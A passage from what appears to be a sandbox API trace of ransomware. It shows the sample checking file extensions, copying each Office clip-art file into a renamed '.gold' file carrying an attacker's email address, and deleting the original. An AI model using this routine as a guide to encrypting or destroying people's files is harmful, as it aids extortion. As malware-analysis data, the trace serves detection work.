Office\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01657_.wmf")) returned 1 [0096.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 63 [0096.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 63 [0096.586] lstrlenW (lpString=".doc") returned 4 [0096.586] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0096.586] lstrlenW (lpString=".docx") returned 5 [0096.586] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0096.586] lstrlenW (lpString=".pdf") returned 4 [0096.586] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0096.586] lstrlenW (lpString=".xls") returned 4 [0096.586] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0096.586] lstrlenW (lpString=".xlsx") returned 5 [0096.586] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0096.587] lstrlenW (lpString=".ppt") returned 4 [0096.587] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0096.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 63 [0096.587] lstrlenW (lpString=".zip") returned 4 [0096.587] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0096.587] lstrlenW (lpString=".rar") returned 4 [0096.587] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0096.587] lstrlenW (lpString=".bz2") returned 4 [0096.587] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0096.587] lstrlenW (lpString=".7z") returned 3 [0096.587] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0096.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 63 [0096.587] lstrlenW (lpString=".dbf") returned 4 [0096.587] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0096.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 63 [0096.587] lstrlenW (lpString=".1cd") returned 4 [0096.587] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0096.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 63 [0096.587] lstrlenW (lpString=".jpg") returned 4 [0096.587] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0096.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 63 [0096.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 63 [0096.587] lstrlenW (lpString=".doc") returned 4 [0096.587] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0096.587] lstrlenW (lpString=".docx") returned 5 [0096.587] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0096.587] lstrlenW (lpString=".pdf") returned 4 [0096.587] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0096.587] lstrlenW (lpString=".xls") returned 4 [0096.587] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0096.587] lstrlenW (lpString=".xlsx") returned 5 [0096.587] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0096.587] lstrlenW (lpString=".ppt") returned 4 [0096.587] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0096.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 63 [0096.587] lstrlenW (lpString=".zip") returned 4 [0096.587] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0096.587] lstrlenW (lpString=".rar") returned 4 [0096.587] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0096.587] lstrlenW (lpString=".bz2") returned 4 [0096.587] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0096.587] lstrlenW (lpString=".7z") returned 3 [0096.587] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0096.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 63 [0096.587] lstrlenW (lpString=".dbf") returned 4 [0096.587] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0096.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 63 [0096.587] lstrlenW (lpString=".1cd") returned 4 [0096.587] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0096.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 63 [0096.587] lstrlenW (lpString=".jpg") returned 4 [0096.587] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0096.588] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0096.588] lstrlenW (lpString="FD01660_.WMF") returned 12 [0096.588] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01660_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0096.588] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=12958) returned 1 [0096.588] CloseHandle (hObject=0x33c) returned 1 [0096.588] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01660_.wmf")) returned 0x20 [0096.588] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01660_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0096.588] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01660_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0096.589] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.589] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01660_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0096.589] GetLastError () returned 0x0 [0096.589] ReadFile (in: hFile=0x33c, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x329e, lpOverlapped=0x0) returned 1 [0096.635] WriteFile (in: hFile=0x3c4, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x32a0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x32a0, lpOverlapped=0x0) returned 1 [0096.636] ReadFile (in: hFile=0x33c, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0096.636] WriteFile (in: hFile=0x3c4, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0096.636] SetEndOfFile (hFile=0x3c4) returned 1 [0096.636] CloseHandle (hObject=0x3c4) returned 1 [0096.636] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.636] SetEndOfFile (hFile=0x33c) returned 1 [0096.638] CloseHandle (hObject=0x33c) returned 1 [0096.639] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0096.639] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01660_.wmf")) returned 1 [0096.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 63 [0096.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 63 [0096.639] lstrlenW (lpString=".doc") returned 4 [0096.639] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0096.639] lstrlenW (lpString=".docx") returned 5 [0096.639] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0096.639] lstrlenW (lpString=".pdf") returned 4 [0096.639] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0096.639] lstrlenW (lpString=".xls") returned 4 [0096.639] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0096.639] lstrlenW (lpString=".xlsx") returned 5 [0096.639] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0096.639] lstrlenW (lpString=".ppt") returned 4 [0096.640] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0096.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 63 [0096.640] lstrlenW (lpString=".zip") returned 4 [0096.640] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0096.640] lstrlenW (lpString=".rar") returned 4 [0096.640] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0096.640] lstrlenW (lpString=".bz2") returned 4 [0096.640] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0096.640] lstrlenW (lpString=".7z") returned 3 [0096.640] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0096.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 63 [0096.640] lstrlenW (lpString=".dbf") returned 4 [0096.640] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0096.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 63 [0096.640] lstrlenW (lpString=".1cd") returned 4 [0096.640] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0096.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 63 [0096.640] lstrlenW (lpString=".jpg") returned 4 [0096.640] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0096.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 63 [0096.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 63 [0096.640] lstrlenW (lpString=".doc") returned 4 [0096.640] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0096.640] lstrlenW (lpString=".docx") returned 5 [0096.640] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0096.640] lstrlenW (lpString=".pdf") returned 4 [0096.640] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0096.640] lstrlenW (lpString=".xls") returned 4 [0096.640] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0096.640] lstrlenW (lpString=".xlsx") returned 5 [0096.640] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0096.640] lstrlenW (lpString=".ppt") returned 4 [0096.640] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0096.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 63 [0096.640] lstrlenW (lpString=".zip") returned 4 [0096.640] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0096.640] lstrlenW (lpString=".rar") returned 4 [0096.640] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0096.640] lstrlenW (lpString=".bz2") returned 4 [0096.640] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0096.640] lstrlenW (lpString=".7z") returned 3 [0096.640] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0096.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 63 [0096.640] lstrlenW (lpString=".dbf") returned 4 [0096.640] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0096.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 63 [0096.640] lstrlenW (lpString=".1cd") returned 4 [0096.640] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0096.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 63 [0096.640] lstrlenW (lpString=".jpg") returned 4 [0096.640] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0096.641] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0096.641] lstrlenW (lpString="FD02068_.WMF") returned 12 [0096.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02068_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0096.641] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=2488) returned 1 [0096.641] CloseHandle (hObject=0x33c) returned 1 [0096.641] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02068_.wmf")) returned 0x20 [0096.641] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02068_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0096.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02068_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0096.642] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.642] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02068_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0096.642] GetLastError () returned 0x0 [0096.642] ReadFile (in: hFile=0x33c, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x9b8, lpOverlapped=0x0) returned 1 [0096.652] WriteFile (in: hFile=0x3c4, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x9c0, lpOverlapped=0x0) returned 1 [0096.653] ReadFile (in: hFile=0x33c, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0096.653] WriteFile (in: hFile=0x3c4, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0096.653] SetEndOfFile (hFile=0x3c4) returned 1 [0096.653] CloseHandle (hObject=0x3c4) returned 1 [0096.653] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.653] SetEndOfFile (hFile=0x33c) returned 1 [0096.659] CloseHandle (hObject=0x33c) returned 1 [0096.659] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0096.659] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02068_.wmf")) returned 1 [0096.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 63 [0096.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 63 [0096.660] lstrlenW (lpString=".doc") returned 4 [0096.660] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0096.660] lstrlenW (lpString=".docx") returned 5 [0096.660] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0096.660] lstrlenW (lpString=".pdf") returned 4 [0096.660] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0096.660] lstrlenW (lpString=".xls") returned 4 [0096.660] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0096.660] lstrlenW (lpString=".xlsx") returned 5 [0096.660] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0096.660] lstrlenW (lpString=".ppt") returned 4 [0096.660] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0096.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 63 [0096.660] lstrlenW (lpString=".zip") returned 4 [0096.660] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0096.660] lstrlenW (lpString=".rar") returned 4 [0096.660] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0096.660] lstrlenW (lpString=".bz2") returned 4 [0096.660] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0096.660] lstrlenW (lpString=".7z") returned 3 [0096.660] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0096.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 63 [0096.660] lstrlenW (lpString=".dbf") returned 4 [0096.660] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0096.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 63 [0096.660] lstrlenW (lpString=".1cd") returned 4 [0096.660] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0096.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 63 [0096.660] lstrlenW (lpString=".jpg") returned 4 [0096.660] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0096.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 63 [0096.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 63 [0096.660] lstrlenW (lpString=".doc") returned 4 [0096.660] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0096.660] lstrlenW (lpString=".docx") returned 5 [0096.660] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0096.660] lstrlenW (lpString=".pdf") returned 4 [0096.660] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0096.660] lstrlenW (lpString=".xls") returned 4 [0096.660] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0096.660] lstrlenW (lpString=".xlsx") returned 5 [0096.660] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0096.660] lstrlenW (lpString=".ppt") returned 4 [0096.661] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0096.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 63 [0096.661] lstrlenW (lpString=".zip") returned 4 [0096.661] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0096.661] lstrlenW (lpString=".rar") returned 4 [0096.661] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0096.661] lstrlenW (lpString=".bz2") returned 4 [0096.661] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0096.661] lstrlenW (lpString=".7z") returned 3 [0096.661] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0096.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 63 [0096.661] lstrlenW (lpString=".dbf") returned 4 [0096.661] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0096.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 63 [0096.661] lstrlenW (lpString=".1cd") returned 4 [0096.661] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0096.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 63 [0096.661] lstrlenW (lpString=".jpg") returned 4 [0096.661] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0096.661] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0096.661] lstrlenW (lpString="FD02075_.WMF") returned 12 [0096.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02075_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0096.661] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=4396) returned 1 [0096.662] CloseHandle (hObject=0x33c) returned 1 [0096.663] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02075_.wmf")) returned 0x20 [0096.663] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02075_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0096.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02075_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0096.663] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.663] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02075_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0096.663] GetLastError () returned 0x0 [0096.663] ReadFile (in: hFile=0x33c, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x112c, lpOverlapped=0x0) returned 1 [0096.665] WriteFile (in: hFile=0x3c4, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x1130, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x1130, lpOverlapped=0x0) returned 1 [0096.666] ReadFile (in: hFile=0x33c, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0096.666] WriteFile (in: hFile=0x3c4, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0096.666] SetEndOfFile (hFile=0x3c4) returned 1 [0096.666] CloseHandle (hObject=0x3c4) returned 1 [0096.666] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.666] SetEndOfFile (hFile=0x33c) returned 1 [0096.668] CloseHandle (hObject=0x33c) returned 1 [0096.669] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0096.669] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02075_.wmf")) returned 1 [0096.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 63 [0096.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 63 [0096.669] lstrlenW (lpString=".doc") returned 4 [0096.669] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0096.669] lstrlenW (lpString=".docx") returned 5 [0096.669] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0096.669] lstrlenW 